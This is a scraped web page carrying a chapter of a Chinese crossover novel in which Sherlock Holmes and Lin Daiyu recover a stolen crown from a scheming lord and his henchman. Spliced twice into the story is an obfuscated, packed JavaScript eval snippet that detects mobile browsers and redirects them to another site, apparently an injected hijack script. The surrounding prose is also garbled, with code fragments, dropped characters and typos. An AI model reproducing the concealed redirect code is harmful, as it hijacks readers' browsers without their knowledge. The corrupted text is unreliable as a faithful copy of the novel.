福尔摩斯感觉到黛玉的脸庞正触碰自己的胸膛,隔着一层薄薄的衬衫,黛玉的摩挲让福尔摩斯变得有些敏感。 等人群散去,福尔摩斯才放开黛玉,让雪雁和紫鹃把黛玉带到自己乘坐而来的马车上。 紫鹃看起来惊魂未定,而雪雁和黛玉就已经淡定多了——对于这种场面,她们也见过几次。 福尔摩斯看见黛玉上马车后,他抬头望向楼梯,拿出自己的左轮式枪,小心翼翼地走上楼梯。 他果然看见一个人瘫坐依靠在门框旁。 福尔摩斯看见血流了一地,但那个人的血液已经止住。 最后福尔摩斯看见地上的子弹,以及那个人的伤口,终于明白黛玉没有射中那个人,而子弹是擦着那个人的大腿飞去的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806898|146649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想包扎一下伤口你就可以走路了。”福尔摩斯有些粗暴地踢了踢那个人,他还是无法原谅这个人想对黛玉下手。 那个人虚弱地回答:“我有点晕血……” 最后还是福尔摩斯找来人包扎伤口,擦洗干净后,用手铐铐住了那个人。 “告诉我,你叫谁,是不是那个勋爵派你来的?”福尔摩斯不想和他周旋,一边带上他,一边乘坐另一辆马车准备前往贝克街。在此之前,福尔摩斯让黛玉一定要紧紧地跟着自己的马车。 马车上。 “我叫塞姆,确实是伯爵先生派我来的,他要我捉拿林小姐,这样你就不会接手他的案子。”塞姆老实交代。 福尔摩斯冷笑一声:“蠢货。” 到达贝克街,福尔摩斯把手铐解开,告诉塞姆,说:“伯爵先生就在里面,他说要见你。”塞姆的脸上变得慌张——他任务已经失败了,伯爵先生肯定会对他大发雷霆。福尔摩斯才由不得塞姆的想法,把他推进了屋子。正坐立不安的伯爵先生看见进来的塞姆,屁股仿佛是安装弹簧一般跳出沙发。 勋爵显然有事情想和塞姆商讨。 “我想刚才华生先生已经和你们说清楚,如果你们老实说出王冠失踪的位置,那么你们就可以暂时免收牢狱之灾。”福尔摩斯冷冷地解释。 伯爵先生脸上露出纠结的表情。 好了,华生,斯坦莱,让他们单独谈话,你们愿意到我的房问去听一听我最近练习的曲子——《咸尼斯交响曲》吗?”福尔摩斯悄悄朝华生眨眼,华生会意,大声回答:“当然愿意,福尔摩斯先生拉 的曲子是非常棒的。" 说完华生拉着一头雾水的斯坦莱,和福尔摩斯一前一后走进房间。 现在客厅只剩下伯爵先生和塞姆。 “他们什么都知道了,我们得赶快离开这里,我想如果我们动作快一点,今晚我们就可以到荷兰……”塞姆已经有些语无伦次。塞姆摇头继续绝望地说:刚才在来的路上,福尔摩斯什么都告诉我了——我们离开不了伦敦城区,到处都是警察在搜寻。"伯爵先生不死心,说:“离不开伦敦,我们也可以躲起来……” 塞姆打断回答:"我们出不去了。" 说着他指向窗外黛玉乘坐的马车,解释:“那个马车里的人可厉害了,她有枪,只要我们出去,她肯定会一枪射爆我们的脑袋。”塞姆指向自己腿上的伤口,表示他们即使要逃跑,也跑不了多远。 这时房间里传来悠然的曲子,优美的音乐声充盈整个客厅。 “他真的在拉曲子?”塞姆以为福尔摩斯离开就是为了偷听他们交谈的内容,所以刚才的谈话也是在试探福尔摩斯。 伯爵先生的目光落在书房,一层帘子勾勒出福尔摩斯的身影。塞姆猛地冲过去掀开帘子:“我就知道你在偷听我们的谈话!”然而眼前的是福尔摩斯的蜡像。 “假的?“塞姆没想到这座蜡像如此逼真,“啧,他还穿着睡衣。”“别管这个蜡像了。”伯爵不耐烦地回答,“我打算把王冠交给福尔摩斯,我可不想因为这个王冠而要被送入监狱。” “十万英镑的王冠?”塞姆摇头,“我们可以杀了福尔摩斯,这样我们就不用交出去,而且还能安全脱身。” “他们至少有三个人,而且有枪,我们是不可能做到的。”伯酷先生冷冷地说,伸出手,“快伸出你的手,我可以假装愧疚地告诉福尔摩斯一个假的藏居地点,然后你带着王冠离开这里,送出伦敦。”忽然他们听见窗户边有什么动静,两人迅速回头望向声音的传来的方向。 但却无事发生,只有帘子在飘荡,客厅的曲子声仍然一遍又一遍地从房间传来。 “既然如此,那我就听你的。”塞姆打开外套,从外头里头拿出一个精致的盒子,“估计他们没想到这个王冠就一直在你的身上。” 伯爵有些得意地说:“当然,王冠一直在我衣服内侧的口袋里——最危险的地方就是最安全的地方,快把盒子打开,我要把王冠放进去。” “都听你的。”塞姆看见伯爵从衣服里拿出王冠,忙要伸手接下。 “你不会独吞了这个王冠吧?”伯爵又把手缩回去,嫌弃地瞄了塞姆还没洗干净的手指甲——上面还带着血迹。 塞姆有些生气,擦了擦双手,说:“我为了这个王冠差点被枪打死,你竟然怀疑我!” “算了,现在不是吵架的时候。”伯爵靠近窗户,拿出王冠,说,“好好看吧,这样精美的王冠,你不许弄脏了。” 忽然光线一闪。 “谢谢!” 福尔摩斯从书房的窗户突然跳出来,一把夺过伯爵手中的王冠。同时福尔摩斯的另一只手上握着左轮式枪,抵在伯爵先生的脑袋旁。伯爵先生想从口袋掏出加压气体枪。 “如果你敢动一下,我就不得不开枪了。”福尔摩斯警告他们。 塞姆手中的盒子掉落在地上,难以置信地问:“福尔摩斯,你不是在房间拉着小提琴吗?怎么会在这里?”音乐仍然在弹奏,完全没有因为福尔摩斯的离开而中断。这肯定是见鬼了。 26、舞会前 别管什么音乐了。”勋爵先生大声回答,提心吊胆地瞄了近在咫尺的枪,生怕福尔摩斯一枪崩了他的脑袋。福尔摩斯高兴地回答,告诉勋爵先生,说:“我认为我还是有必要让你知道一下。” 福尔摩斯伸手指向房间的门,叫华生把门打开,这时华生和斯坦菜侧身走出房间,勋爵先生睁大眼睛,他看见房间里奏响音乐的是 台二手唱片机—这正是《咸尼斯交响曲》音乐的来源。“斯坦莱,我想警局的人已经到了。”福尔摩斯抬头看着客厅里的钟摆,话音刚落,斯坦莱已经冲到门口,打开门,放进好几个全副武装的警察进入屋内。勋爵先生无力地垂下头,他已经没有任何逃跑的机会了。王冠的失而复得让首相忌着的心终于落地,收到消息的首相,第 时间亲自到贝克街领会王元时,当面问福尔摩所:“福尔摩斯先生,你这-回可是帮我们立了大功,请问你需要什么东西作为这次奖 励?” “我想参加女王的宴会。”福尔摩斯一边说着,一边把目光投向窗外,看到外头似乎有人在和黛玉隔着马车谈话。首相听见福尔摩斯的回答,感到有些惊讶,说:“福尔摩斯先生,这就是你要的奖励吗?”他认为福尔摩斯应该向他索要一箱子的金币,来好好买一栋公寓,而不是还蜷缩在这个出租房里。而且首相记得福尔摩斯也不喜欢参与这种活动,今天怎么突然开窍要参加女王的宴会。“对了,我还需要《绿珠小姐》的戏票。”福尔摩斯补充说,“你应该记得我喜欢看戏剧。” “《绿珠小姐》的戏票?”首相这几天也略有听闻这戏剧的名称,只是在贵妇女人之间流传开来,他并没有放在心上。“好,我答应你。希望我能在明晚的舞会上看见你。”首相颔首。 他答应福尔摩斯的要求,命秘书出门准备奖励福尔摩斯的东西,表示今晚就会把这些奖励送到贝克街。女王宴会的票和《绿珠小姐》的戏票——对一个首相来说,这些都是唾手可得的东西。 福尔摩斯点头,起身送首相出门,打开门口,发现门口街道上除了正被关押上马车的勋爵先生和塞姆以外,还有斯坦莱正隔着马车窗和黛玉嬉笑。“可惜伦敦没有红色的西装,所以我不得不选择一件深蓝色的西装来和你的舞会衣裙搭配。”斯坦莱大声地告诉黛玉。 “有劳你费心了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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